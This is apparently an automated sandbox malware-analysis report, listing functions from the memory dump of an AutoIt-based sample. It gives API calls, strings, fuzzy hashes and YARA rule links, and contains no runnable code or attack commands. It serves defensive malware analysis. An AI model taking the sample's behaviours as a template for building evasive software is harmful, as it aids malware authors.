API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 8a0ec7f933907d9d5b454ccf5af261adf7b5f1366b91532efebb7dcc0b7d6098
Instruction ID: 56d2bdfeaa53707518870b674bab0b25ce447e1b24052eef88f25415e4544edd
Opcode Fuzzy Hash: 8a0ec7f933907d9d5b454ccf5af261adf7b5f1366b91532efebb7dcc0b7d6098
Instruction Fuzzy Hash: 8531E6B1408395AAC328EB11DC49BDB7BD9BF85750F10492EF5D983191EB749684C7C2

Function 005E2DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00622C8C

Part of subcall function 005E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005E3A97,?,?,005E2E7F,?,?,?,00000000), ref: 005E3AC2

Part of subcall function 005E2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005E2DC4

Strings

`ej, xrefs: 00622C85
X, xrefs: 00622C5A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`ej
API String ID: 779396738-472619002
Opcode ID: fde6b00084f32d85f41655beb9acce1642eca91ca73cdce5e88672396169d726
Instruction ID: a6983def089c66f4fd9a497a65d2825f07a6b194cfc6ef5993c4201fbccb1124
Opcode Fuzzy Hash: fde6b00084f32d85f41655beb9acce1642eca91ca73cdce5e88672396169d726
Instruction Fuzzy Hash: C621D870E00298AFCB45EF95C809BEE7FFDAF49304F048059F445A7241DBB459898F61

Function 005FFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00600668

Part of subcall function 006032A4: RaiseException.KERNEL32(?,?,?,0060068A,?,006B1444,?,?,?,?,?,?,0060068A,005E1129,006A8738,005E1129), ref: 00603304

__CxxThrowException@8.LIBVCRUNTIME ref: 00600685

Strings

Unknown exception, xrefs: 00600692

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: e2a54ed1939314aa490cc948ed513ab4d77c680ecf9d6d29d220515796e40a5b
Instruction ID: 54cf10a150794c2847500b582084eecdabb1898b2bc960525a49a56adb0d1517
Opcode Fuzzy Hash: e2a54ed1939314aa490cc948ed513ab4d77c680ecf9d6d29d220515796e40a5b
Instruction Fuzzy Hash: 7CF0FC3494020D77DB08B664DC46D9F7B6FAE00350F604535B914D6AD1EF72DB25CAC4

Function 005E10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 005E1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 005E1BF4
Part of subcall function 005E1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 005E1BFC
Part of subcall function 005E1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 005E1C07
Part of subcall function 005E1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 005E1C12
Part of subcall function 005E1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 005E1C1A
Part of subcall function 005E1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 005E1C22

Part of subcall function 005E1B4A: RegisterWindowMessageW.USER32(00000004,?,005E12C4), ref: 005E1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 005E136A
OleInitialize.OLE32 ref: 005E1388
CloseHandle.KERNEL32(00000000,00000000), ref: 006224AB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: e1bae4a6e23a2caf142812b2112235de3a3a5252b20946ac497c39298b3b9438
Instruction ID: 3fe766140fd046d3fc388d398f11792b3a0219c5934142e317184d0ad19d8ad6
Opcode Fuzzy Hash: e1bae4a6e23a2caf142812b2112235de3a3a5252b20946ac497c39298b3b9438
Instruction Fuzzy Hash: 8171D2F6911241AEC3A4DF7AA8796953FE3BB8A350794A32ED05ACF261E73044C18F54

Function 0064C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 005E3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0064C259
KillTimer.USER32(?,00000001,?,?), ref: 0064C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0064C270

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 0a9f7625413588ca03c0578c0745230b959b9c53ad4545709a18ebaeccbfe1d7
Instruction ID: eb29a959622261c18cf92cb26f3b8c956a06aa0ae564bd2f65ca2d0538e05040
Opcode Fuzzy Hash: 0a9f7625413588ca03c0578c0745230b959b9c53ad4545709a18ebaeccbfe1d7
Instruction Fuzzy Hash: 9131E370905344AFEB629F648859BE7BBEEAF02318F00009ED2DEA7341C7B45B85CB51

Function 006186AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,006185CC,?,006A8CC8,0000000C), ref: 00618704
GetLastError.KERNEL32(?,006185CC,?,006A8CC8,0000000C), ref: 0061870E
__dosmaperr.LIBCMT ref: 00618739

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 0dababb6551989c7f8c0458817ab87980875e43277f06d7dba808af3b42cb1fd
Instruction ID: 4be0ef869f520d3e2ac49807e6c8ed9f571ec024c40ba51cef4749b92a7d6781
Opcode Fuzzy Hash: 0dababb6551989c7f8c0458817ab87980875e43277f06d7dba808af3b42cb1fd
Instruction Fuzzy Hash: B701DB326056605ED6A4A33468457FE6B5B4BD1774F3D021EF8199B2D3EFA18CC181D4

Function 005EDB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 005EDB7B
DispatchMessageW.USER32(?), ref: 005EDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005EDB9F
Sleep.KERNELBASE(0000000A), ref: 005EDBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00631CC9

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 8f16491d6b958952b15f7cd6910869dc8bbf076580702b4da5a089f074ddcfa9
Instruction ID: ab30279e8b293d41ca30ae045ef027eb192475427c888c623b8d2a313771bb90
Opcode Fuzzy Hash: 8f16491d6b958952b15f7cd6910869dc8bbf076580702b4da5a089f074ddcfa9
Instruction Fuzzy Hash: 98F05E306443809BE738CB61DC99FEA77BEFB85310F505A19E64AC70D0EB3494888B25

Function 005F1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 005F17F6

Strings

CALL, xrefs: 005F17C6

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 0fb0c1bae6bfa6268aedc17ab010ae7d5b12588433c0044bfadec1e340d63cba
Instruction ID: db9d6a6b26b49c250e08272f4467a8e73b68af78f2b3fd9731e3b6999f628160
Opcode Fuzzy Hash: 0fb0c1bae6bfa6268aedc17ab010ae7d5b12588433c0044bfadec1e340d63cba
Instruction Fuzzy Hash: F0229B70608606DFC714DF14C484A3ABBF2BF85354F14892DF69A8B3A2D739E845CB96

Function 005E3837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 005E3908

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 7b5aadff27587873ea9b6db4b6c225007b355fb2417e4566d45860a8bcecccdf
Instruction ID: 0e42f9973f715a7c372e04c85ca7382a4ee4c891c55c8b08e9153165ffcfb94d
Opcode Fuzzy Hash: 7b5aadff27587873ea9b6db4b6c225007b355fb2417e4566d45860a8bcecccdf
Instruction Fuzzy Hash: E331BFB16097419FD360DF25D8987A7BBE8FB49308F00092EF6D987240E771AA44CB52

Function 005FF645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 005FF661

Part of subcall function 005ED730: GetInputState.USER32 ref: 005ED807

Sleep.KERNEL32(00000000), ref: 0063F2DE

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 677ab8fa3e3a6f58faa43653245cbd7185c509a3e06d8a8b7e64661f88b4cbe5
Instruction ID: 705b527f9974dc7f8ba65edc4f6e0063a232883ab165c98f16ca8374378e965f
Opcode Fuzzy Hash: 677ab8fa3e3a6f58faa43653245cbd7185c509a3e06d8a8b7e64661f88b4cbe5
Instruction Fuzzy Hash: 9FF012312406459FD318EF65D449B6ABBE9FF45761F00412EE95EC7361DB70A840CB91

Function 005E4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 005E4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,005E4EDD,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4E9C
Part of subcall function 005E4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 005E4EAE
Part of subcall function 005E4E90: FreeLibrary.KERNEL32(00000000,?,?,005E4EDD,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4EFD

Part of subcall function 005E4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00623CDE,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4E62
Part of subcall function 005E4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 005E4E74
Part of subcall function 005E4E59: FreeLibrary.KERNEL32(00000000,?,?,00623CDE,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4E87

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 13fdde27fd08b2dfe0e001c312e2f55e7b79df610c65b499f138f20f4149cc0c
Instruction ID: d8bdde53c9fceda65e45da4d2f33dca356e3f97632ad6a34e519dc54da9da39e
Opcode Fuzzy Hash: 13fdde27fd08b2dfe0e001c312e2f55e7b79df610c65b499f138f20f4149cc0c
Instruction Fuzzy Hash: 1D11EB31600356AACF18BB61DC06FAD7BA5BF80B10F10481DF5D2A62C1EE759A459F50

Function 00618402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00618440

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 4c02bb1b7f2a68c439d552ebc562ed705d38592714ad17f55e448ef8c97578ba
Instruction ID: be49da7b9c645418c16b3a52e161835709f9fcde34cfa8176ce716a8138a01df
Opcode Fuzzy Hash: 4c02bb1b7f2a68c439d552ebc562ed705d38592714ad17f55e448ef8c97578ba
Instruction Fuzzy Hash: F211487190410AAFCB05DF58E9419DA7BF6EF48300F144059F808AB312DA31DA11CBA4

Function 0060E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: c8c53f5dc835dc5730c24553c5c6de0a120e7874fce84ee12a40d313f0db2c4d
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 4BF0F932560A249AD6393A69AC05BD7339B9F52335F140B1DF421932D2CF76984286AD

Function 00613820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,006B1444,?,005FFDF5,?,?,005EA976,00000010,006B1440,005E13FC,?,005E13C6,?,005E1129), ref: 00613852

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 65410cdbb187b61486d7ba4dc939ee4022f31bd1ac236be37b715911b3a054ff
Instruction ID: 43d1c8594d9113c3ebece6d67872b74f2c9027d66365656f24a0f65b3da44f01
Opcode Fuzzy Hash: 65410cdbb187b61486d7ba4dc939ee4022f31bd1ac236be37b715911b3a054ff
Instruction Fuzzy Hash: F2E0E531140234A6D7B127669C04BDB374BAF427B0F0D0124BD0B96BC0DB10DE8182E4

Function 005E4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4F6D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 4fc56535f7d7f892b0946980fd27d16ceb537cefea7f7a72b55fb7e5cb89ef46
Instruction ID: a5c691d202a0defc3e935735f1577d476b05f89326a7d8ea070fe3b100db73b0
Opcode Fuzzy Hash: 4fc56535f7d7f892b0946980fd27d16ceb537cefea7f7a72b55fb7e5cb89ef46
Instruction Fuzzy Hash: 07F01C71105791CFDB3C9F66D494812BBE5BF147293108D7EE1EA82611C7369C44DF50

Function 00672A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00672A66

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: f5b3efadca80730e50e9a42dc01aeec55948e8314603a553978ba6d36dee440f
Instruction ID: c90c70801675b68b58c5c148e8a59c496eca0dff01177193051820420da1586c
Opcode Fuzzy Hash: f5b3efadca80730e50e9a42dc01aeec55948e8314603a553978ba6d36dee440f
Instruction Fuzzy Hash: 5AE04F36354116AAC754EA30EC919FA735EEB50395B20953AAC1AD6200EB30999686A4

Function 005E30F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 005E314E

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 1de579793acf4ad1750b1c24f583e229b8391bc0f45b33414b8ccd3546e520eb
Instruction ID: 6ee170c80e3dec5c30ad5fd7b5cea7d76a565c8677fb89a085d037e0d1a2fe3e
Opcode Fuzzy Hash: 1de579793acf4ad1750b1c24f583e229b8391bc0f45b33414b8ccd3546e520eb
Instruction Fuzzy Hash: A3F0A7B0904308AFE7569B24DC497D67BFCAB01708F1001E9A28897181E77057C8CF41

Function 005E2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005E2DC4

Part of subcall function 005E6B57: _wcslen.LIBCMT ref: 005E6B6A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 11c8aa1a70a7103445aa820f1fb3f742cc10b52864c2314aa5c644eb19cc0726
Instruction ID: 9e07ab97835a308f5f1841ddc8730618fdab2c251e7740f752bb5cca3b6b2a04
Opcode Fuzzy Hash: 11c8aa1a70a7103445aa820f1fb3f742cc10b52864c2314aa5c644eb19cc0726
Instruction Fuzzy Hash: ACE0CD726041245BC71092589C05FDA77DEEFC87D0F044075FD49D7258D960ADC08550

Function 005E2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005E3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 005E3908

Part of subcall function 005ED730: GetInputState.USER32 ref: 005ED807

SetCurrentDirectoryW.KERNEL32(?), ref: 005E2B6B

Part of subcall function 005E30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 005E314E

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
